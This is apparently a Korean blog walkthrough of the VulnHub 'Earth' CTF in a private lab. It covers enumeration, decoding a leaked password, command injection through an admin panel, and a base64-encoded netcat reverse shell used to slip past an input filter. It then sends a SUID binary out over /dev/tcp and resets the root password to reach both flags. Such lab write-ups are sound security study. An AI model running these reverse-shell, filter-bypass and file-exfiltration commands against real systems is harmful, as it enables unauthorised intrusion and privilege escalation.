[6] Earth리눅스 취약점 분석 및 모의해킹(w. vulnhub)
- 2022.08.27 -
해당 블로그의 내용에는 실제로 해킹을 하는 과정이 언급되어 있습니다.
모의 해킹의 환경은 100% 사용자가 통제가 가능한 상황에서 실습을 진행하였으며
불법적인 해킹이 아닌 모의 해킹으로써 해킹의 목적이 오롯이 교육의 성격에 초점이 맞추어져 있습니다
본 과정을 악용하여 사용하는 2차 피해에 대해서는 행위자가 법적 책임을 질 수 있으며
일어나는 모든 피해에 대해서는 책임지지 않습니다.
구축 환경
가상 시스템 - 역할 - 운영기반
KALI - Attacker-Debian GNU
Earth - Victim - Fedora Linux
IP 목록
Host - IP Address
KALI - 192.168.20.128
Earth - 192.126.20.133
시나리오 내용
Vulnhub에서 ova이미지를 내려받아 취약점 분석후 페이지 계정, 리눅스 계정 획득하고 내부 flag 열어보기 - CTF
user_flag.txt 와 root_flag.txt. 이렇게 두개의 flag파일 열기
실습 시작
취약점 분석 및 모의해킹을 할 수 있는 가상환경 파일을(*.ova) 제공하는 사이트인 vulnhub에서 파일을 하나 다운 받았다.
사이트의 첫번째에 있는 The Planets : Earth를 다운 받았다.
난이도는 Easy(쉬움)으로 여러가지가 있으니 쉬운것부터 하나씩 골라보면서 하면 좋을 것같다.
개인적으로 저건 쉬움난이도 보다는 내 기준에는 미디움 난이도가 더 맞지 않나 싶었다.
다운받은 earth.ova 파일을 VMware에서 실행시켰다.
열어보면 위 사진처럼 적은 정보만 확인 할 수 있는데 Fedora 리눅스라는 것 외에는 알 수 있는것이 상당히 제한되어 있다.
nmap을 이용해 스캔을 해보았다. 옵션은 -n을 주었고 같은 가상망이라는 특징으로 192.168.20.0/24으로 192.168.20.*대의 모든 IP를 스캔해 보았다.
결과로 5개의 호스트를 찾을 수 있었다. 먼저 가장 처음은 제외하고 두번째 호스트인 20.2대 레포트를 확인해보면
열려있는 포트가 53번 포트 하나 뿐이다. 53번 포트는 도메인포트.. 그러니까 DNS서버 호스트 이다.
4번째는 20.254는 게이트웨이 5번째 20.128은 칼리의 IP주소 이다.
그렇다면 가운대 20.133을 보니 열려 있는게 22,80,443 포트 이다. 보통 일반적인 호스트로 보이는데 조금 더 심층 스캔을 해보자
sudo nmap -n 192.168.20.0/24
의심되는 해당 IP인 192.168.20.133을 옵션 -sV -sC를 주어 다시 깊게 스캔해보았다.
결과 적으로 설치되어진 서버정보들을 알 수 있었다. (Apache2.4.51)
80번포트로 접속시 http title로 Bad Request가
443포트로 접속시 Test page for the HTTP server on Fedora 를 출력한다.
그 밑줄에는 DNS를 사용하고 있는 것으로 보인다.
sudo nmap -sV -sC 192.168.20.133
외부에서 접속 해보았다. 192.168.20.133:433. 이러면 Test page for ### 가 나와야 하는데 나오지 않는다.
왜일까? 아마 포트는 443으로 접속했지만 주소 앞에 http로 입력해서 자동으로 80번으로 이동되었을 수 있다.
그래서 80번포트에서 보이는 bad request가 떴을지도..
nano 명령어를 이용해 hosts에 위에서 얻어낸 dns를 입력해서 넣어준다.
sudo nano /etc/hosts
IP - DNS - DNS2
순서로 입력한다.
nano저장하는 방법은 ctrl+O 를 누르고 엔터. 그리고 ctrl+X를 누르면 저장 후 나오게 된다 :)
192.168.20.133 earth.local terratest.earth.local
// 저장 방법
// ctrl + O
// Enter
// ctrl + X
브라우저에서 dns이름인 earth.local로 접속을 시도한다.
시도 결과 페이지 창이 출력되는 것을 확인 할 수 있다. :)
earth.loacl에 대해 dirb검사를 시작해보았다. 기존에는 나오지 않았던 /admin/ 하위폴더가 나왔다.
sudo dirb http://earth.local/
더 깊게 탐색을 하기 위해 dirb보다 gobuster명령어를 쓰기로 했다.
gobuster는 웹 서버의 디렉토리와 파일들 까지 모두 스캔할 수 있고 DNS부속 서버도 같이 빠르게 스캔 할 수 있는 툴이다.
일단 칼리에서 gobuster(고버스터)가 설치되어있지 않으니 패키지를 먼저 인스톨한다.
sudo apt install gobuster
명령어를 이용해 -u 옵션과 -w옵션을 추가해 스캔을 시작한다.
그 결과 스캔 url에 대해 하위 파일인 /robots.txt파일을 확인했다.
gobuster dir -u https://terratest.earth.local/ -k -w /usr/share/wordlist/dirb/common.txt
위 URL로 들어간 뒤 주소창뒤에 robots.txt를 입력하면 저장된 여러 하위목록들을 볼 수 있는데 그 중 가장 밑에 있는 testingnote.*를 확인하고 주소창에 robots.txt를 지우고 testingnotes.txt를 입력해보았다.
https://terratest.earth.local/robots.txt
해당 텍스트를 입력해 열어보았다.
username은 terra라는 사실도 알 수 있었고 testdata.txt를 이용해 암호화했다고 알려 주는 것을 보아 해당 파일이
암호화와 복호화에 필요한 Key값이라는 것을 짐작할 수 있다.
https://terratest.earth.local/testingnotes.txt
이제 여기에서 testdata.txt로 다시 바꾸어 열어보자!
testdata.txt로 입력해 열어보았다.
문장들이 나와 있는 것을 알 수 있다.
이 문장을 복사해두자! :)
https://terratest.earth.local/testdata.txt
새 창을 열고 earth.local로 들어와 하단으로 내리면 특정 코드가 3~4줄이 적혀 있다.
가장 아래줄을 복사해서 따로 메모장에 기록해두자 :)
XOR된 값을 복호화해야한다.
다행히 요즘에는 복호화까지 자동으로 해주는 사이트가 존재한다.
사이트 이름은 Cyberchef (사이버셰프) 이동은 여기로!
들어가면 form hex -> XOR순서로 끌어다 놓는다.
XOR의 Key값에는 testdata.txt에서 복사 해둔 문장을 키로 넣는다.
그리고 파랑색 네모박스의 Input에는 earth.local 페이지에서 하단에 복사해둔 구문을 붙여 넣는다.
그럼 곧 바로 해독되어 Output으로 그 결과를 확인 할 수 있다.
비밀번호가 도출되었다.
비밀번호 : earthclimatechangebad4humans
그리고 위의 testingnotes.txt에서 확인 했던 계정 이름인 terra까지..
이렇게 계정 ID와 비밀번호 모두 획득하는데 성공했다.
로그인 아이디 : terra
패스워드 : earthclimatechangebad4humans
이제 조금전에 dirb로 admin페이지를 확인했었는데 관리자 페이지로 접속해 로그인을 시도해 볼 것이다.
해당 사이트로 접속하면 login을 할 수 있는 창이 뜬다.
조금전 획득한 아이디와 패스워드를 이용해 로그인을 완료한다.
옆의 로그아웃을 보니 로그인이 완료된 모습이다.
CLI Command 툴을 이용해 간단한 명령어를 수행해 보자.
커맨드 라인에 whoami를 입력하니 출력값으로 apache가 나왔다.
위에서 스캔을 통해 확인했던 서버인 apache서버가 나온것이다.
OS Command Injection을 실행해보기 위해 칼리에서 4444번 포트를 열고 대기하고
CLI Command라인에 접속 명령어를 입력해 보았다.
//KALI
nc -lvnp 4444
//Earth Linux
ne -e /bin/bash 192.168.20.128 4444
답은 Romote connections are forbidden.
원격접속이 불가능하다는 메세지가 나왔다.
다르게 시도해봐야겠다.
cat 명령어를 이용해 userflag.txt을 열어 출력해본다.
CTF의 문제는 두가지였는데 user_flag와 root_flag를 찾는것
그 두개중 하나인 user_flag.txt는 찾았다.
cat /var/earth_web/user_flag.txt
칼리로 돌아와 echo 명령어로 원격접속에 대한 명령문을 base64로 인코딩한다.
echo 'ne -e /bin/bash 192.168.20.128 4444' | base64
특정 문자열 입력에 대해 방어해 둔 것 같기에 base 64인코딩을 이용해 명령문 자체를 인코딩한다.
base64 인코딩 출력 문자열 : bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMjAuMTI4IDQ0NDQK
base64란?
바이너리 데이터를 문자 코드에 영향을 받지 않는 공통 ASCII 문자로 표현하기 위해 만들어진 인코딩이다.
ASCII 문자 하나가 64진법의 숫자 하나를 의미하기 때문에 base64라는 이름을 가졌다.
해서 실제로 위 출력된 문자열을 abse64 디코더에 입력하면 위 명령어가 그대로 출력될 것이다.
디코더 사이트는 여기로!
플레인 텍스트로는 거부되었던 명령이 base64로 인코딩하여 넣어보니 접속이 되었다.
echo 'bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMjAuMTI4IDQ0NDQK' | base64 -d | bash
파이썬 명령어를 이용하여 터미널을 제공받고
파인드 명령어를 통해 불필요한 출력을 제한한다.
여러 경로들을 보니 /usr/bin/ 에 reset_root가 있는것을 확인 했다.
file명령어를 이용해 reset_root를 열어보고 루트 비밀번호가 있는것을 확인 하여 reset_root 명령어를 입력했으나
RESET FAILED 결과를 받았다.
우선 위 두개의 명령줄에 대한 설명을 조금 붙여본다.
python -c 'import pty;pty.spawn("/bin/bash")'
위 명령어는 pty 라이브러리에서 제공하는 상호작용이 가능한 터미널을 제공한다. 당연 vi 에디터도 사용이 가능하다.
즉, 서로 다른 다른 버전의 운영체제(칼리는 데비안, 어스는 페도라)이라서 이 상호작용이 가능한 터미널을 pty라이브러리로 부터 제공받아서 사용하는 것이다.
find / -perm -u=s 2>/dev/null
다음은 find 명령어 이다. 이중 뒷 부분의 2>/dev/null 에 주목해야하는데 /dev/null은 trash can. 그러니까 휴지통정도로 생각하면 편하다. 2>/dev/null/은 에러스트림을 /dev/null/로 리다이렉션 하는 것이다. 즉 에러 스트림(에러메세지)를 휴지통으로 버리는 것인데 이렇게 설정하면 root권한이 아니여서 퍼미션 거부나 에러등에 대한 메세지를 출력하지 않도록 하는 것이다.
1) /dev/null
2) 1>/dev/null
3) 2>/dev/null
1번과 2번은 결과 메세지를 정상적으로 출력하고 3번은 출력하지 않는다.
python -c 'import pty;pty.spawn("/bin/bash")'
find / -perm -u=s 2>/dev/null
file /usr/bin/reset_root
reset_root
새로운 터미널을 열고 명령어를 이용해 reset_root를 전송받을 것이다. 3333포트를 열고 대기한다.
nc -lvnp 3333 > reset_root
Earth에서 KALI로 reset_root파일을 3333번 포트를 이용해 내보낸다.
cat /usr/bin/reset_root > /dev/tcp/192.168.20.128/3333
20.133에서 20.128로 연결되었음을 확인할 수 있다
nc -lvnp 3333 > reset_root
칼리에서 ls를 입력하면 20.133에서 전송한 reset_root파일이 있는 것을 확인했다.
이제 이 파일의 실행 권한을 추가 한다.
ls
sudo chmod +x reset_root
// x는 executable의 뜻으로 실행을 의미함
// r은 read의 읽기
// w는 write의 쓰기
// x는 excutable의 실행
이어서 경로를 추적하기 위해 LTRACE를 설치한다
대문자로 적은 이유는 l과I가 입력에 착오를 줄 수 있기 때문이다..
명령어를 적을때에는 소문자이다.
ltrace는 라이브러리 함수를 추적하는 도구로 strace와 유사하다. 동적라이브러리만 추적하므로 파악하기는 쉽지만, 문제의 원인을 찾기가 어려운 단점이 있다.
sudo apt install ltrace
그리고 엘트레이스를 이용해 해당 파일을 실행한다.
결과값으로 나오는 네모박스는 따로 남겨두자
ltrace ./reset_root
조금 생소한 touch 명령어이다.
touch명령어는 파일의 생성과 파일의 날짜, 시간을 변경하는 명령어 이다. 옵션 없이 사용할 경우 서버의 현재 시간으로 변경한다.
touch명령어를 이용해 저 위 경로에 있는 파일을 터치한다.
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
루트를 리셋한다.
그 결과 RESTTING ROOT PASSWORD TO : EARTH
으로 초기화 된 루트 비밀번호가 EARTH인것을 확인했다.
그 다음 su root를 통해 관리자 계정으로 접속한다.
관리자 계정 : root
관리자 비밀번호 : Earth
reset_root
su root
Earth
vm ware에서 EARTH에 대해 접속을 시도한다.
위에서 알아낸 root / Earth 시도 결과 접속에 성공한 것을 확인 했다.
다시 칼리로 돌아가서 위 명령어들을 입력해 root_flag가 있는 곳을 찾아 경로를 옮겨간다.
최종적으로 /root 경로에 root_flag.txt가 있는 것을 확인했다.
ls
cd /root
ls
cat명령어로 루트플래그를 열어 본다.
결과는 지구본 모양이 나오면서 최종 성공을 축하하는 멘트가 담겨있다.
cat root_flag.txt
마 치 며
진행은 생각보다 빠르게 되었는데
정확하게 하나하나 다 이해하고 공부하는데 시간이 더걸린 것 같다 ㅋㅋㅋ
덕분에 명령어에 어떤뜻이 있는지 좀 더 세부적으로 이해할 수 있었고
늘 반복되던 같은 명령어에서 벗어나 다양성을 배웠으며
소규모의 작은 프로젝트 덕에 모의해킹만을 위한 사이트가 있다는 사실도 알았다.
실습을 했고 깨달은게 있으니 더 학습하고 숙달할 수 있게 계속 학습해야 할 것 같다
다만 실습과정중 이해가 덜 되어진 부분이 있었다.
특히 이부분은 왜 이걸 했지? 이게 굳이 필요했을까? 하는 과정이 있었는데
다시 재 실습을 하면 조금씩 글이 수정될 것같다 :)
아! 해킹에 큰 도움을 준 스터디 동기 넘 고마오
'Red Team > Penetration Testing & CTF' 카테고리의 다른 글
[8] CTF:Beelzebub Linux Serv-U FTP 취약점 모의해킹 (0) | 2022.09.05 |
---|---|
[7] CTF:Breakout user,rOOt 텍스트 모의해킹 (0) | 2022.09.01 |
[5] docker에 대한 무작위대입공격 모의해킹 (2) | 2022.08.22 |
[4]OpenSSL 취약점을 이용한 Heartbleed 모의해킹 (0) | 2022.08.19 |
[3] Nessus를 활용한 Metasploitable2에 대한 samba취약점 해킹 (0) | 2022.08.19 |
댓글
이 글 공유하기
다른 글
-
[8] CTF:Beelzebub Linux Serv-U FTP 취약점 모의해킹
[8] CTF:Beelzebub Linux Serv-U FTP 취약점 모의해킹
2022.09.05 -
[7] CTF:Breakout user,rOOt 텍스트 모의해킹
[7] CTF:Breakout user,rOOt 텍스트 모의해킹
2022.09.01 -
[5] docker에 대한 무작위대입공격 모의해킹
[5] docker에 대한 무작위대입공격 모의해킹
2022.08.22 -
[4]OpenSSL 취약점을 이용한 Heartbleed 모의해킹
[4]OpenSSL 취약점을 이용한 Heartbleed 모의해킹
2022.08.19